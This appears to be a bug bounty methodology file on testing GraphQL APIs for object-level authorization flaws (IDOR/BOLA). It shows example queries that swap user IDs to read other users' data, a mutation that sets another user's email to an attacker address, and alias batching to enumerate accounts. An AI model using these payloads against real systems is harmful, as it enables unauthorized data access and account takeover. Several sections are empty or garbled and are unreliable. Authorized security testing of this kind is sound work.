GraphQL IDOR (BOLA) Exploitation

When to Use

• When auditing modern web applications that utilize GraphQL as their API layer.
• To test the authorization controls on individual objects (nodes) within the graph, ensuring a user cannot access or modify nodes belonging to other users.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Schema & IDs

# Concept: ```

### Phase 2: Intercepting & Modifying Queries

```graphql
# query getUser {
  user(id: "VXNlcjoxNTA=") {
    id
    email
    personalPhone
  }
}

# query getUser {
  user(id: "VXNlcjoxNTE=") {
    id
    email
    personalPhone
  }
}

Phase 3: Exploiting Mutations (State Changes)

# mutation {
  updateUserProfile(input: {
    userId: "VXNlcjoxNTE=",
    email: "hacker@evil.com"
  }) {
    success
  }
}

Phase 4: Batching & Aliases (Bypassing Rate Limits / Automation)

# query {
  user1: user(id: "1") { email }
  user2: user(id: "2") { email }
  user3: user(id: "3") { email }
}

Decision Point 🔀

flowchart TD
    A[Identify Node ] --> B{Node ID modified ]}
    B -->|Yes| C[Check Response ]
    B -->|No| D[Check Context ]
    C --> E[Verify Data ]

🔵 Blue Team Detection & Defense

• Object-Level Authorization: Context-Aware Resolvers: Key Concepts

  Concept	Description

Output Format

Graphql Idor — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• OWASP: API1:2019 Broken Object Level Authorization
• PortSwigger: GraphQL API Vulnerabilities